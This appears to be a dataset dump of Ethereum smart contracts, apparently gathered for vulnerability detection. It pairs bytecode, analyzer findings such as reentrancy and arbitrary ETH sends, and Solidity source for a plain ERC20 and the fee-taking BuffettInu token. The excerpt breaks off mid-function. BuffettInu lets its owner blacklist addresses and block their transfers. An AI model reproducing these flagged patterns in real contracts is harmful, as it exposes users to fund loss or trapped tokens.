756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610757565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061194557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561199957600080fd5b505afa1580156119ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119d19190611eb1565b816001815181106119f257634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601654611a18913091168461122a565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a5190859060009086903090429060040161213c565b600060405180830381600087803b158015611a6b57600080fd5b505af1158015611a7f573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b80611aa157611aa1611b13565b611aac848484611b41565b806116db576116db600c54600855600d54600a55565b6000806000611acf611c38565b9092509050611ade828261182e565b9250505090565b60008183611b065760405162461bcd60e51b815260040161075791906120b4565b50600061171284866121c4565b600854158015611b235750600a54155b15611b2a57565b60088054600c55600a8054600d5560009182905555565b600080600080600080611b5387611c7a565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611b859087611cd7565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611bb49086611d19565b6001600160a01b038916600090815260026020526040902055611bd681611d78565b611be08483611dc2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c2591815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611c54828261182e565b821015611c7157505060065492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611c978a600854600a54611de6565b9250925092506000611ca7611ac2565b90506000806000611cba8e878787611e35565b919e509c509a509598509396509194505050505091939550919395565b600061182783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116e1565b600080611d2683856121ac565b9050838110156118275760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610757565b6000611d82611ac2565b90506000611d908383611870565b30600090815260026020526040902054909150611dad9082611d19565b30600090815260026020526040902055505050565b600654611dcf9083611cd7565b600655600754611ddf9082611d19565b6007555050565b6000808080611dfa6064610b0b8989611870565b90506000611e0d6064610b0b8a89611870565b90506000611e2582611e1f8b86611cd7565b90611cd7565b9992985090965090945050505050565b6000808080611e448886611870565b90506000611e528887611870565b90506000611e608888611870565b90506000611e7282611e1f8686611cd7565b939b939a50919850919650505050505050565b8035611e9081612261565b919050565b600060208284031215611ea6578081fd5b813561182781612261565b600060208284031215611ec2578081fd5b815161182781612261565b60008060408385031215611edf578081fd5b8235611eea81612261565b91506020830135611efa81612261565b809150509250929050565b600080600060608486031215611f19578081fd5b8335611f2481612261565b92506020840135611f3481612261565b929592945050506040919091013590565b60008060408385031215611f57578182fd5b8235611f6281612261565b946020939093013593505050565b60006020808385031215611f82578182fd5b823567ffffffffffffffff80821115611f99578384fd5b818501915085601f830112611fac578384fd5b813581811115611fbe57611fbe61224b565b8060051b604051601f19603f83011681018181108582111715611fe357611fe361224b565b604052828152858101935084860182860187018a1015612001578788fd5b8795505b8386101561202a5761201681611e85565b855260019590950194938601938601612005565b5098975050505050505050565b600060208284031215612048578081fd5b813561182781612276565b600060208284031215612064578081fd5b815161182781612276565b600060208284031215612080578081fd5b5035919050565b60008060006060848603121561209b578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156120e0578581018301518582016040015282016120c4565b818111156120f15783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561218b5784516001600160a01b031683529383019391830191600101612166565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156121bf576121bf612235565b500190565b6000826121df57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156121fe576121fe612235565b500290565b60008282101561221557612215612235565b500390565b600060001982141561222e5761222e612235565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108bb57600080fd5b80151581146108bb57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208a3137f2e74a0d08a7e1a27cad8d1e960cda93d278b426a07a3464dd7f1401db64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,966 |
0x2fda1a8463f2a5e2b483b0e10baab3a9a6fb76d3
|
/**
*Submitted for verification at Etherscan.io on 2021-02-16
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract MarsCoin is ERC20 {
constructor(uint256 supply) ERC20("MarsCoin", "MARS") {
_mint(msg.sender, supply);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012957806370a082311461013c57806395d89b411461014f578063a457c2d714610157578063a9059cbb1461016a578063dd62ed3e1461017d576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ec57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b6610190565b6040516100c391906106df565b60405180910390f35b6100df6100da3660046106ab565b610222565b6040516100c391906106d4565b6100f461023f565b6040516100c39190610913565b6100df61010f366004610670565b610245565b61011c6102e5565b6040516100c3919061091c565b6100df6101373660046106ab565b6102ea565b6100f461014a36600461061d565b610339565b6100b6610358565b6100df6101653660046106ab565b610367565b6100df6101783660046106ab565b6103e2565b6100f461018b36600461063e565b6103f6565b60606003805461019f90610959565b80601f01602080910402602001604051908101604052809291908181526020018280546101cb90610959565b80156102185780601f106101ed57610100808354040283529160200191610218565b820191906000526020600020905b8154815290600101906020018083116101fb57829003601f168201915b5050505050905090565b600061023661022f610421565b8484610425565b50600192915050565b60025490565b60006102528484846104d9565b6001600160a01b038416600090815260016020526040812081610273610421565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156102bf5760405162461bcd60e51b81526004016102b6906107fd565b60405180910390fd5b6102da856102cb610421565b6102d58685610942565b610425565b506001949350505050565b601290565b60006102366102f7610421565b848460016000610305610421565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546102d5919061092a565b6001600160a01b0381166000908152602081905260409020545b919050565b60606004805461019f90610959565b60008060016000610376610421565b6001600160a01b03908116825260208083019390935260409182016000908120918816815292529020549050828110156103c25760405162461bcd60e51b81526004016102b6906108ce565b6103d86103cd610421565b856102d58685610942565b5060019392505050565b60006102366103ef610421565b84846104d9565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661044b5760405162461bcd60e51b81526004016102b69061088a565b6001600160a01b0382166104715760405162461bcd60e51b81526004016102b690610775565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104cc908590610913565b60405180910390a3505050565b6001600160a01b0383166104ff5760405162461bcd60e51b81526004016102b690610845565b6001600160a01b0382166105255760405162461bcd60e51b81526004016102b690610732565b610530838383610601565b6001600160a01b038316600090815260208190526040902054818110156105695760405162461bcd60e51b81526004016102b6906107b7565b6105738282610942565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906105a990849061092a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105f39190610913565b60405180910390a350505050565b505050565b80356001600160a01b038116811461035357600080fd5b60006020828403121561062e578081fd5b61063782610606565b9392505050565b60008060408385031215610650578081fd5b61065983610606565b915061066760208401610606565b90509250929050565b600080600060608486031215610684578081fd5b61068d84610606565b925061069b60208501610606565b9150604084013590509250925092565b600080604083850312156106bd578182fd5b6106c683610606565b946020939093013593505050565b901515815260200190565b6000602080835283518082850152825b8181101561070b578581018301518582016040015282016106ef565b8181111561071c5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b6000821982111561093d5761093d610994565b500190565b60008282101561095457610954610994565b500390565b60028104600182168061096d57607f821691505b6020821081141561098e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220099faca6fd1dbfdfe1f80e7e7108c213632fb7628463648bb03981619573dd8064736f6c63430008010033
|
{"success": true, "error": null, "results": {}}
| 5,967 |
0xd1a67dd94bb3e0c0ed0ca6d685ed4fed098adcac
|
/*
https://twitter.com/Buffett_Inu
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BuffettInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 *10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Buffett Inu";
string private constant _symbol = 'BUFFETT';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(cooldownEnabled){
require(cooldown[from] < block.timestamp - (360 seconds));
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
